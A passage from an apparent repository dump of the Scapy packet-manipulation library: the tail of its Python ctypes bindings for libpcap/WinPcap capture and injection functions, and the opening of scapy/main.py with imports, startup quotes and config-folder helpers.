supported only in monitor mode\n# define PCAP_ERROR_NOT_RFMON\t\t-7\nPCAP_ERROR_NOT_RFMON = -7\n#   no permission to open the device\n# define PCAP_ERROR_PERM_DENIED\t\t-8\nPCAP_ERROR_PERM_DENIED = -8\n#   interface isn't up\n# define PCAP_ERROR_IFACE_NOT_UP\t-9\nPCAP_ERROR_IFACE_NOT_UP = -9\n# define PCAP_ERROR_CANTSET_TSTAMP_TYPE\t-10\n#   this device doesn't support setting the time stamp type\n#   you don't have permission to capture in promiscuous mode\n# define PCAP_ERROR_PROMISC_PERM_DENIED\t-11\nPCAP_ERROR_PROMISC_PERM_DENIED = -11\n#   the requested time stamp precision is not supported\n# define PCAP_ERROR_TSTAMP_PRECISION_NOTSUP -12\nPCAP_ERROR_TSTAMP_PRECISION_NOTSUP = -12\n\n#   Warning codes for the pcap API.\n#   These will all be positive and non-zero, so they won't look like\n#   errors.\n#   generic warning code\n# define PCAP_WARNING\t\t\t1\nPCAP_WARNING = 1\n#   this device doesn't support promiscuous mode\n# define PCAP_WARNING_PROMISC_NOTSUP\t2\nPCAP_WARNING_PROMISC_NOTSUP = 2\n#   the requested time stamp type is not supported\n# define PCAP_WARNING_TSTAMP_TYPE_NOTSUP\t3\nPCAP_WARNING_TSTAMP_TYPE_NOTSUP = 3\n\n##\n# END Defines\n##\n\n##\n# Typedefs\n##\n\n# typedef int  bpf_int32 (already defined)\n#   32-bit integer\n# typedef u_int  bpf_u_int32 (already defined)\n#   32-bit unsigned integer\n# typedef struct pcap  pcap_t\n# Descriptor of an open capture instance. This structure is opaque to the\n# user, that handles its content through the functions provided by\n# wpcap.dll.\npcap_t = pcap\n# typedef struct pcap_dumper   pcap_dumper_t\n#   libpcap savefile descriptor.\npcap_dumper_t = pcap_dumper\n# typedef struct pcap_if   pcap_if_t\n#   Item in a list of interfaces, see pcap_if.\npcap_if_t = pcap_if\n# typedef struct pcap_addr   pcap_addr_t\n#   Representation of an interface address, see pcap_addr.\npcap_addr_t = pcap_addr\n\n##\n# END Typedefs\n##\n\n\n# values for enumeration 'pcap_direction_t'\n# pcap_direction_t = c_int # enum\n\n##\n# Unix-compatible Functions\n# These functions are part of the libpcap library, and therefore work both on Windows and on Linux.\n##\n\n# typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data)\n#   Prototype of the callback function that receives the packets.\n# This one is defined from programmer\npcap_handler = CFUNCTYPE(\n    None,\n    POINTER(c_ubyte),\n    POINTER(pcap_pkthdr),\n    POINTER(c_ubyte)\n)\n\n# pcap_t *   pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf)\n#   Open a live capture from the network.\npcap_open_live = _lib.pcap_open_live\npcap_open_live.restype = POINTER(pcap_t)\npcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING]\n\n# pcap_t *   pcap_open_dead (int linktype, int snaplen)\n#   Create a pcap_t structure without starting a capture.\npcap_open_dead = _lib.pcap_open_dead\npcap_open_dead.restype = POINTER(pcap_t)\npcap_open_dead.argtypes = [c_int, c_int]\n\n# pcap_t *   pcap_open_offline (const char *fname, char *errbuf)\n#   Open a savefile in the tcpdump/libpcap format to read packets.\npcap_open_offline = _lib.pcap_open_offline\npcap_open_offline.restype = POINTER(pcap_t)\npcap_open_offline.argtypes = [STRING, STRING]\n\ntry:\n    # Functions not available on WINPCAP\n\n    # int pcap_set_rfmon (pcap_t *p)\n    # sets whether monitor mode should be set on a capture handle when the\n    # handle is activated.\n    pcap_set_rfmon = _lib.pcap_set_rfmon\n    pcap_set_rfmon.restype = c_int\n    pcap_set_rfmon.argtypes = [POINTER(pcap_t), c_int]\n\n    # int pcap_create (pcap_t *p)\n    #   create a packet capture handle to look at packets on the network.\n    pcap_create = _lib.pcap_create\n    pcap_create.restype = POINTER(pcap_t)\n    pcap_create.argtypes = [STRING, STRING]\n\n    # int pcap_set_snaplen(pcap_t *p, int snaplen)\n    #   set the snapshot length for a not-yet-activated capture handle\n    pcap_set_snaplen = _lib.pcap_set_snaplen\n    pcap_set_snaplen.restype = c_int\n    pcap_set_snaplen.argtypes = [POINTER(pcap_t), c_int]\n\n    # int pcap_set_promisc(pcap_t *p, int promisc)\n    #   set promiscuous mode for a not-yet-activated capture handle\n    pcap_set_promisc = _lib.pcap_set_promisc\n    pcap_set_promisc.restype = c_int\n    pcap_set_promisc.argtypes = [POINTER(pcap_t), c_int]\n\n    # int pcap_set_timeout(pcap_t *p, int to_ms)\n    #   set the packet buffer timeout for a not-yet-activated capture handle\n    pcap_set_timeout = _lib.pcap_set_timeout\n    pcap_set_timeout.restype = c_int\n    pcap_set_timeout.argtypes = [POINTER(pcap_t), c_int]\n\n    # int pcap_activate(pcap_t *p)\n    #   activate a capture handle\n    pcap_activate = _lib.pcap_activate\n    pcap_activate.restype = c_int\n    pcap_activate.argtypes = [POINTER(pcap_t)]\n\n    # int pcap_inject (pcap_t *p, u_char *buf, int size)\n    #   Send a raw packet.\n    pcap_inject = _lib.pcap_inject\n    pcap_inject.restype = c_int\n    pcap_inject.argtypes = [POINTER(pcap_t), c_void_p, c_int]\n\n    # const char * pcap_statustostr (int error)\n    # print the text of the status (error or warning) corresponding to error.\n    pcap_statustostr = _lib.pcap_statustostr\n    pcap_statustostr.restype = STRING\n    pcap_statustostr.argtypes = [c_int]\n\n    # int pcap_set_buffer_size(pcap_t *p, int buffer_size)\n    # set the buffer size for a not-yet-activated capture handle\n    pcap_set_buffer_size = _lib.pcap_set_buffer_size\n    pcap_set_buffer_size.restype = c_int\n    pcap_set_buffer_size.argtypes = [POINTER(pcap_t), c_int]\nexcept AttributeError:\n    pass\n\n# pcap_dumper_t *   pcap_dump_open (pcap_t *p, const char *fname)\n#   Open a file to write packets.\npcap_dump_open = _lib.pcap_dump_open\npcap_dump_open.restype = POINTER(pcap_dumper_t)\npcap_dump_open.argtypes = [POINTER(pcap_t), STRING]\n\n# int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf)\n#   Switch between blocking and nonblocking mode.\npcap_setnonblock = _lib.pcap_setnonblock\npcap_setnonblock.restype = c_int\npcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING]\n\n# int pcap_getnonblock (pcap_t *p, char *errbuf)\n#   Get the \"non-blocking\" state of an interface.\npcap_getnonblock = _lib.pcap_getnonblock\npcap_getnonblock.restype = c_int\npcap_getnonblock.argtypes = [POINTER(pcap_t), STRING]\n\n# int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf)\n# Construct a list of network devices that can be opened with\n# pcap_open_live().\npcap_findalldevs = _lib.pcap_findalldevs\npcap_findalldevs.restype = c_int\npcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING]\n\n# void pcap_freealldevs (pcap_if_t *alldevsp)\n#   Free an interface list returned by pcap_findalldevs().\npcap_freealldevs = _lib.pcap_freealldevs\npcap_freealldevs.restype = None\npcap_freealldevs.argtypes = [POINTER(pcap_if_t)]\n\n# char *   pcap_lookupdev (char *errbuf)\n#   Return the first valid device in the system.\npcap_lookupdev = _lib.pcap_lookupdev\npcap_lookupdev.restype = STRING\npcap_lookupdev.argtypes = [STRING]\n\n# int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf)\n#   Return the subnet and netmask of an interface.\npcap_lookupnet = _lib.pcap_lookupnet\npcap_lookupnet.restype = c_int\npcap_lookupnet.argtypes = [\n    STRING,\n    POINTER(bpf_u_int32),\n    POINTER(bpf_u_int32),\n    STRING\n]\n\n# int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user)\n#   Collect a group of packets.\npcap_dispatch = _lib.pcap_dispatch\npcap_dispatch.restype = c_int\npcap_dispatch.argtypes = [\n    POINTER(pcap_t),\n    c_int,\n    pcap_handler,\n    POINTER(u_char)\n]\n\n# int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user)\n#   Collect a group of packets.\npcap_loop = _lib.pcap_loop\npcap_loop.restype = c_int\npcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)]\n\n# u_char *   pcap_next (pcap_t *p, struct pcap_pkthdr *h)\n#   Return the next available packet.\npcap_next = _lib.pcap_next\npcap_next.restype = POINTER(u_char)\npcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)]\n\n# int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data)\n#   Read a packet from an interface or from an offline capture.\npcap_next_ex = _lib.pcap_next_ex\npcap_next_ex.restype = c_int\npcap_next_ex.argtypes = [\n    POINTER(pcap_t),\n    POINTER(\n        POINTER(pcap_pkthdr)\n    ),\n    POINTER(\n        POINTER(u_char)\n    )\n]\n\n# void pcap_breakloop (pcap_t *)\n# set a flag that will force pcap_dispatch() or pcap_loop() to return\n# rather than looping.\npcap_breakloop = _lib.pcap_breakloop\npcap_breakloop.restype = None\npcap_breakloop.argtypes = [POINTER(pcap_t)]\n\n# int pcap_sendpacket (pcap_t *p, u_char *buf, int size)\n#   Send a raw packet, but it returns 0 on success,\n#   rather than returning the number of bytes written.\npcap_sendpacket = _lib.pcap_sendpacket\npcap_sendpacket.restype = c_int\npcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int]\n\n# void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp)\n#   Save a packet to disk.\npcap_dump = _lib.pcap_dump\npcap_dump.restype = None\npcap_dump.argtypes = [\n    POINTER(pcap_dumper_t),\n    POINTER(pcap_pkthdr),\n    POINTER(u_char)\n]\n\n# long pcap_dump_ftell (pcap_dumper_t *)\n#   Return the file position for a \"savefile\".\npcap_dump_ftell = _lib.pcap_dump_ftell\npcap_dump_ftell.restype = c_long\npcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)]\n\n# int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)\n# Compile a packet filter, converting an high level filtering expression\n# (see Filtering expression syntax) in a program that can be interpreted\n# by the kernel-level filtering engine.\npcap_compile = _lib.pcap_compile\npcap_compile.restype = c_int\npcap_compile.argtypes = [\n    POINTER(pcap_t),\n    POINTER(bpf_program),\n    STRING,\n    c_int,\n    bpf_u_int32]\n\n# int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask)\n# Compile a packet filter without the need of opening an adapter. This\n# function converts an high level filtering expression (see Filtering\n# expression syntax) in a program that can be interpreted by the\n# kernel-level filtering engine.\npcap_compile_nopcap = _lib.pcap_compile_nopcap\npcap_compile_nopcap.restype = c_int\npcap_compile_nopcap.argtypes = [\n    c_int,\n    c_int,\n    POINTER(bpf_program),\n    STRING,\n    c_int,\n    bpf_u_int32\n]\n\n# int pcap_setfilter (pcap_t *p, struct bpf_program *fp)\n#   Associate a filter to a capture.\npcap_setfilter = _lib.pcap_setfilter\npcap_setfilter.restype = c_int\npcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)]\n\n# void pcap_freecode (struct bpf_program *fp)\n#   Free a filter.\npcap_freecode = _lib.pcap_freecode\npcap_freecode.restype = None\npcap_freecode.argtypes = [POINTER(bpf_program)]\n\n# int pcap_datalink (pcap_t *p)\n#   Return the link layer of an adapter.\npcap_datalink = _lib.pcap_datalink\npcap_datalink.restype = c_int\npcap_datalink.argtypes = [POINTER(pcap_t)]\n\n# int pcap_list_datalinks (pcap_t *p, int **dlt_buf)\n#   list datalinks\npcap_list_datalinks = _lib.pcap_list_datalinks\npcap_list_datalinks.restype = c_int\n# pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))]\n\n# int pcap_set_datalink (pcap_t *p, int dlt)\n# Set the current data link type of the pcap descriptor to the type\n# specified by dlt. -1 is returned on failure.\npcap_set_datalink = _lib.pcap_set_datalink\npcap_set_datalink.restype = c_int\npcap_set_datalink.argtypes = [POINTER(pcap_t), c_int]\n\n# int pcap_datalink_name_to_val (const char *name)\n# Translates a data link type name, which is a DLT_ name with the DLT_\n# removed, to the corresponding data link type value. The translation is\n# case-insensitive. -1 is returned on failure.\npcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val\npcap_datalink_name_to_val.restype = c_int\npcap_datalink_name_to_val.argtypes = [STRING]\n\n# const char *   pcap_datalink_val_to_name (int dlt)\n# Translates a data link type value to the corresponding data link type\n# name. NULL is returned on failure.\npcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name\npcap_datalink_val_to_name.restype = STRING\npcap_datalink_val_to_name.argtypes = [c_int]\n\n# const char *   pcap_datalink_val_to_description (int dlt)\n# Translates a data link type value to a short description of that data\n# link type. NULL is returned on failure.\npcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description\npcap_datalink_val_to_description.restype = STRING\npcap_datalink_val_to_description.argtypes = [c_int]\n\n# int pcap_snapshot (pcap_t *p)\n# Return the dimension of the packet portion (in bytes) that is delivered\n# to the application.\npcap_snapshot = _lib.pcap_snapshot\npcap_snapshot.restype = c_int\npcap_snapshot.argtypes = [POINTER(pcap_t)]\n\n# int pcap_is_swapped (pcap_t *p)\n# returns true if the current savefile uses a different byte order than\n# the current system.\npcap_is_swapped = _lib.pcap_is_swapped\npcap_is_swapped.restype = c_int\npcap_is_swapped.argtypes = [POINTER(pcap_t)]\n\n# int pcap_major_version (pcap_t *p)\n# return the major version number of the pcap library used to write the\n# savefile.\npcap_major_version = _lib.pcap_major_version\npcap_major_version.restype = c_int\npcap_major_version.argtypes = [POINTER(pcap_t)]\n\n# int pcap_minor_version (pcap_t *p)\n# return the minor version number of the pcap library used to write the\n# savefile.\npcap_minor_version = _lib.pcap_minor_version\npcap_minor_version.restype = c_int\npcap_minor_version.argtypes = [POINTER(pcap_t)]\n\n# FILE *   pcap_file (pcap_t *p)\n#   Return the standard stream of an offline capture.\npcap_file = _lib.pcap_file\npcap_file.restype = FILE\npcap_file.argtypes = [POINTER(pcap_t)]\n\n# int pcap_stats (pcap_t *p, struct pcap_stat *ps)\n#   Return statistics on current capture.\npcap_stats = _lib.pcap_stats\npcap_stats.restype = c_int\npcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)]\n\n# void pcap_perror (pcap_t *p, char *prefix)\n# print the text of the last pcap library error on stderr, prefixed by\n# prefix.\npcap_perror = _lib.pcap_perror\npcap_perror.restype = None\npcap_perror.argtypes = [POINTER(pcap_t), STRING]\n\n# char *   pcap_geterr (pcap_t *p)\n#   return the error text pertaining to the last pcap library error.\npcap_geterr = _lib.pcap_geterr\npcap_geterr.restype = STRING\npcap_geterr.argtypes = [POINTER(pcap_t)]\n\n# char *   pcap_strerror (int error)\n#   Provided in case strerror() isn't available.\npcap_strerror = _lib.pcap_strerror\npcap_strerror.restype = STRING\npcap_strerror.argtypes = [c_int]\n\n# const char *   pcap_lib_version (void)\n# Returns a pointer to a string giving information about the version of\n# the libpcap library being used; note that it contains more information\n# than just a version number.\npcap_lib_version = _lib.pcap_lib_version\npcap_lib_version.restype = STRING\npcap_lib_version.argtypes = []\n\n# void pcap_close (pcap_t *p)\n#   close the files associated with p and deallocates resources.\npcap_close = _lib.pcap_close\npcap_close.restype = None\npcap_close.argtypes = [POINTER(pcap_t)]\n\n# FILE *   pcap_dump_file (pcap_dumper_t *p)\n#   return the standard I/O stream of the 'savefile' opened by\n# pcap_dump_open().\npcap_dump_file = _lib.pcap_dump_file\npcap_dump_file.restype = FILE\npcap_dump_file.argtypes = [POINTER(pcap_dumper_t)]\n\n# int pcap_dump_flush (pcap_dumper_t *p)\n# Flushes the output buffer to the ``savefile,'' so that any packets\n# written with pcap_dump() but not yet written to the ``savefile'' will be\n# written. -1 is returned on error, 0 on success.\npcap_dump_flush = _lib.pcap_dump_flush\npcap_dump_flush.restype = c_int\npcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)]\n\n# void pcap_dump_close (pcap_dumper_t *p)\n#   Closes a savefile.\npcap_dump_close = _lib.pcap_dump_close\npcap_dump_close.restype = None\npcap_dump_close.argtypes = [POINTER(pcap_dumper_t)]\n\nif not WINDOWS:\n    # int pcap_get_selectable_fd(pcap_t, *p)\n    # Returns, on UNIX, a file descriptor number for a file descriptor on\n    # which one can do a select(), poll(). -1 is returned if no such\n    # descriptor exists.\n    pcap_get_selectable_fd = _lib.pcap_get_selectable_fd\n    pcap_get_selectable_fd.restype = c_int\n    pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)]\n\n###########################################\n# Windows-specific Extensions\n# The functions in this section extend libpcap to offer advanced functionalities\n# (like remote packet capture, packet buffer size variation or high-precision packet injection).\n# However, at the moment they can be used only in Windows.\n###########################################\nif WINDOWS:\n    HANDLE = c_void_p\n\n    ##############\n    # Identifiers related to the new source syntax\n    ##############\n    # define   PCAP_SRC_FILE   2\n    # define   PCAP_SRC_IFLOCAL   3\n    # define   PCAP_SRC_IFREMOTE   4\n    # Internal representation of the type of source in use (file, remote/local\n    # interface).\n    PCAP_SRC_FILE = 2\n    PCAP_SRC_IFLOCAL = 3\n    PCAP_SRC_IFREMOTE = 4\n\n    ##############\n    # Strings related to the new source syntax\n    ##############\n    # define   PCAP_SRC_FILE_STRING   \"file://\"\n    # define   PCAP_SRC_IF_STRING   \"rpcap://\"\n    # String that will be used to determine the type of source in use (file,\n    # remote/local interface).\n    PCAP_SRC_FILE_STRING = \"file://\"\n    PCAP_SRC_IF_STRING = \"rpcap://\"\n\n    ##############\n    # Flags defined in the pcap_open() function\n    ##############\n    # define  PCAP_OPENFLAG_PROMISCUOUS   1\n    #   Defines if the adapter has to go in promiscuous mode.\n    PCAP_OPENFLAG_PROMISCUOUS = 1\n    # define  PCAP_OPENFLAG_DATATX_UDP   2\n    # Defines if the data transfer (in case of a remote capture) has to be\n    # done with UDP protocol.\n    PCAP_OPENFLAG_DATATX_UDP = 2\n    # define  PCAP_OPENFLAG_NOCAPTURE_RPCAP   4\n    PCAP_OPENFLAG_NOCAPTURE_RPCAP = 4\n    #   Defines if the remote probe will capture its own generated traffic.\n    # define  PCAP_OPENFLAG_NOCAPTURE_LOCAL   8\n    PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8\n    # define  PCAP_OPENFLAG_MAX_RESPONSIVENESS   16\n    #   This flag configures the adapter for maximum responsiveness.\n    PCAP_OPENFLAG_MAX_RESPONSIVENESS = 16\n\n    ##############\n    # Sampling methods defined in the pcap_setsampling() function\n    ##############\n    # define  PCAP_SAMP_NOSAMP   0\n    # No sampling has to be done on the current capture.\n    PCAP_SAMP_NOSAMP = 0\n    # define  PCAP_SAMP_1_EVERY_N   1\n    # It defines that only 1 out of N packets must be returned to the user.\n    PCAP_SAMP_1_EVERY_N = 1\n    # define   PCAP_SAMP_FIRST_AFTER_N_MS   2\n    # It defines that we have to return 1 packet every N milliseconds.\n    PCAP_SAMP_FIRST_AFTER_N_MS = 2\n\n    ##############\n    # Authentication methods supported by the RPCAP protocol\n    ##############\n    # define  RPCAP_RMTAUTH_NULL   0\n    # It defines the NULL authentication.\n    RPCAP_RMTAUTH_NULL = 0\n    # define  RPCAP_RMTAUTH_PWD   1\n    # It defines the username/password authentication.\n    RPCAP_RMTAUTH_PWD = 1\n\n    ##############\n    # Remote struct and defines\n    ##############\n    # define  PCAP_BUF_SIZE   1024\n    # Defines the maximum buffer size in which address, port, interface names\n    # are kept.\n    PCAP_BUF_SIZE = 1024\n    # define  RPCAP_HOSTLIST_SIZE   1024\n    # Maximum length of an host name (needed for the RPCAP active mode).\n    RPCAP_HOSTLIST_SIZE = 1024\n\n    class pcap_send_queue(Structure):\n        _fields_ = [(\"maxlen\", c_uint),\n                    (\"len\", c_uint),\n                    (\"buffer\", c_char_p)]\n\n    # struct   pcap_rmtauth\n    # This structure keeps the information needed to authenticate the user on a\n    # remote machine\n    class pcap_rmtauth(Structure):\n        _fields_ = [(\"type\", c_int),\n                    (\"username\", c_char_p),\n                    (\"password\", c_char_p)]\n\n    # struct   pcap_samp\n    # This structure defines the information related to sampling\n    class pcap_samp(Structure):\n        _fields_ = [(\"method\", c_int),\n                    (\"value\", c_int)]\n\n    # PAirpcapHandle   pcap_get_airpcap_handle (pcap_t *p)\n    # Returns the AirPcap handler associated with an adapter. This handler can\n    # be used to change the wireless-related settings of the CACE Technologies\n    # AirPcap wireless capture adapters.\n\n    # bool pcap_offline_filter (struct bpf_program *prog, const struct pcap_pkthdr *header, const u_char *pkt_data)\n    #   Returns if a given filter applies to an offline packet.\n    pcap_offline_filter = _lib.pcap_offline_filter\n    pcap_offline_filter.restype = c_bool\n    pcap_offline_filter.argtypes = [\n        POINTER(bpf_program),\n        POINTER(pcap_pkthdr),\n        POINTER(u_char)\n    ]\n\n    # int pcap_live_dump (pcap_t *p, char *filename, int maxsize, int maxpacks)\n    #   Save a capture to file.\n    pcap_live_dump = _lib.pcap_live_dump\n    pcap_live_dump.restype = c_int\n    pcap_live_dump.argtypes = [POINTER(pcap_t), POINTER(c_char), c_int, c_int]\n\n    # int pcap_live_dump_ended (pcap_t *p, int sync)\n    # Return the status of the kernel dump process, i.e. tells if one of the\n    # limits defined with pcap_live_dump() has been reached.\n    pcap_live_dump_ended = _lib.pcap_live_dump_ended\n    pcap_live_dump_ended.restype = c_int\n    pcap_live_dump_ended.argtypes = [POINTER(pcap_t), c_int]\n\n    # struct pcap_stat *  pcap_stats_ex (pcap_t *p, int *pcap_stat_size)\n    #   Return statistics on current capture.\n    pcap_stats_ex = _lib.pcap_stats_ex\n    pcap_stats_ex.restype = POINTER(pcap_stat)\n    pcap_stats_ex.argtypes = [POINTER(pcap_t), POINTER(c_int)]\n\n    # int pcap_setbuff (pcap_t *p, int dim)\n    #   Set the size of the kernel buffer associated with an adapter.\n    pcap_setbuff = _lib.pcap_setbuff\n    pcap_setbuff.restype = c_int\n    pcap_setbuff.argtypes = [POINTER(pcap_t), c_int]\n\n    # int pcap_setmode (pcap_t *p, int mode)\n    #   Set the working mode of the interface p to mode.\n    pcap_setmode = _lib.pcap_setmode\n    pcap_setmode.restype = c_int\n    pcap_setmode.argtypes = [POINTER(pcap_t), c_int]\n\n    # int pcap_setmintocopy (pcap_t *p, int size)\n    #   Set the minimum amount of data received by the kernel in a single call.\n    pcap_setmintocopy = _lib.pcap_setmintocopy\n    pcap_setmintocopy.restype = c_int\n    pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int]\n\n    # HANDLE pcap_getevent (pcap_t *p)\n    #   Return the handle of the event associated with the interface p.\n    pcap_getevent = _lib.pcap_getevent\n    pcap_getevent.restype = HANDLE\n    pcap_getevent.argtypes = [POINTER(pcap_t)]\n\n    # pcap_send_queue *  pcap_sendqueue_alloc (u_int memsize)\n    #   Allocate a send queue.\n    pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc\n    pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue)\n    pcap_sendqueue_alloc.argtypes = [c_uint]\n\n    # void pcap_sendqueue_destroy (pcap_send_queue *queue)\n    #   Destroy a send queue.\n    pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy\n    pcap_sendqueue_destroy.restype = None\n    pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)]\n\n    # int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data)\n    #   Add a packet to a send queue.\n    pcap_sendqueue_queue = _lib.pcap_sendqueue_queue\n    pcap_sendqueue_queue.restype = c_int\n    pcap_sendqueue_queue.argtypes = [\n        POINTER(pcap_send_queue),\n        POINTER(pcap_pkthdr),\n        POINTER(u_char)\n    ]\n\n    # u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync)\n    #   Send a queue of raw packets to the network.\n    pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit\n    pcap_sendqueue_transmit.retype = u_int\n    pcap_sendqueue_transmit.argtypes = [\n        POINTER(pcap_t), POINTER(pcap_send_queue), c_int]\n\n    # int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf)\n    #   Create a list of network devices that can be opened with pcap_open().\n    pcap_findalldevs_ex = _lib.pcap_findalldevs_ex\n    pcap_findalldevs_ex.retype = c_int\n    pcap_findalldevs_ex.argtypes = [\n        STRING,\n        POINTER(pcap_rmtauth),\n        POINTER(\n            POINTER(pcap_if_t)\n        ),\n        STRING\n    ]\n\n    # int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf)\n    # Accept a set of strings (host name, port, ...), and it returns the\n    # complete source string according to the new format (e.g.\n    # 'rpcap://1.2.3.4/eth0').\n    pcap_createsrcstr = _lib.pcap_createsrcstr\n    pcap_createsrcstr.restype = c_int\n    pcap_createsrcstr.argtypes = [\n        STRING, c_int, STRING, STRING, STRING, STRING\n    ]\n\n    # int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf)\n    # Parse the source string and returns the pieces in which the source can\n    # be split.\n    pcap_parsesrcstr = _lib.pcap_parsesrcstr\n    pcap_parsesrcstr.retype = c_int\n    pcap_parsesrcstr.argtypes = [\n        STRING,\n        POINTER(c_int),\n        STRING,\n        STRING,\n        STRING,\n        STRING\n    ]\n\n    # pcap_t *   pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf)\n    # Open a generic source in order to capture / send (WinPcap only) traffic.\n    pcap_open = _lib.pcap_open\n    pcap_open.restype = POINTER(pcap_t)\n    pcap_open.argtypes = [\n        STRING,\n        c_int,\n        c_int,\n        c_int,\n        POINTER(pcap_rmtauth),\n        STRING\n    ]\n\n    # struct pcap_samp *  pcap_setsampling (pcap_t *p)\n    #   Define a sampling method for packet capture.\n    pcap_setsampling = _lib.pcap_setsampling\n    pcap_setsampling.restype = POINTER(pcap_samp)\n    pcap_setsampling.argtypes = [POINTER(pcap_t)]\n\n    # SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf)\n    #   Block until a network connection is accepted (active mode only).\n    pcap_remoteact_accept = _lib.pcap_remoteact_accept\n    pcap_remoteact_accept.restype = SOCKET\n    pcap_remoteact_accept.argtypes = [\n        STRING,\n        STRING,\n        STRING,\n        STRING,\n        POINTER(pcap_rmtauth),\n        STRING\n    ]\n\n    # int pcap_remoteact_close (const char *host, char *errbuf)\n    #   Drop an active connection (active mode only).\n    pcap_remoteact_close = _lib.pcap_remoteact_close\n    pcap_remoteact_close.restypes = c_int\n    pcap_remoteact_close.argtypes = [STRING, STRING]\n\n    # void pcap_remoteact_cleanup ()\n    #   Clean the socket that is currently used in waiting active connections.\n    pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup\n    pcap_remoteact_cleanup.restypes = None\n    pcap_remoteact_cleanup.argtypes = []\n\n    # int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf)\n    # Return the hostname of the host that have an active connection with us\n    # (active mode only).\n    pcap_remoteact_list = _lib.pcap_remoteact_list\n    pcap_remoteact_list.restype = c_int\n    pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING]\n"
  },
  {
    "path": "scapy/main.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nMain module for interactive startup.\n\"\"\"\n\n\nimport builtins\nimport code\nimport getopt\nimport glob\nimport importlib\nimport io\nimport logging\nimport os\nimport pathlib\nimport shutil\nimport sys\nimport warnings\n\nfrom itertools import zip_longest\nfrom random import choice\n\n# Never add any global import, in main.py, that would trigger a\n# warning message before the console handlers gets added in interact()\nfrom scapy.error import (\n    log_interactive,\n    log_loading,\n    Scapy_Exception,\n)\nfrom scapy.themes import DefaultTheme, BlackAndWhite, apply_ipython_style\nfrom scapy.consts import WINDOWS\n\nfrom typing import (\n    Any,\n    Dict,\n    List,\n    Optional,\n    Union,\n    overload,\n)\nfrom scapy.compat import (\n    Literal,\n)\n\nLAYER_ALIASES = {\n    \"tls\": \"tls.all\",\n    \"msrpce\": \"msrpce.all\",\n}\n\nQUOTES = [\n    (\"Craft packets like it is your last day on earth.\", \"Lao-Tze\"),\n    (\"Craft packets like I craft my beer.\", \"Jean De Clerck\"),\n    (\"Craft packets before they craft you.\", \"Socrate\"),\n    (\"Craft me if you can.\", \"IPv6 layer\"),\n    (\"To craft a packet, you have to be a packet, and learn how to swim in \"\n     \"the wires and in the waves.\", \"Jean-Claude Van Damme\"),\n    (\"We are in France, we say Skappee. OK? Merci.\", \"Sebastien Chabal\"),\n    (\"Wanna support scapy? Star us on GitHub!\", \"Satoshi Nakamoto\"),\n    (\"I'll be back.\", \"Python 2\"),\n]\n\n\ndef _probe_xdg_folder(var, default, *cf):\n    # type: (str, str, *str) -> Optional[pathlib.Path]\n    path = pathlib.Path(os.environ.get(var, default))\n    try:\n        if not path.exists():\n            # ~ folder doesn't exist. Create according to spec\n            # https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html\n            # \"If, when attempting to write a file, the destination directory is\n            # non-existent an attempt should be made to create it with permission 0700.\"\n            path.mkdir(mode=0o700, exist_ok=True)\n    except Exception:\n        # There is a gazillion ways this can fail. Most notably, a read-only fs or no\n        # permissions to even check for folder to exist (e.x. privileges were dropped\n        # before scapy was started).\n        return None\n    return path.joinpath(*cf).resolve()\n\n\ndef _probe_config_folder(*cf):\n    # type: (str) -> Optional[pathlib.Path]\n    return _probe_xdg_folder(\n        \"XDG_CONFIG_HOME\",\n        os.path.join(os.path.expanduser(\"~\"), \".config\"),\n        *cf\n    )\n\n\ndef _probe_cache_folder(*cf):\n    # type: (str) -> 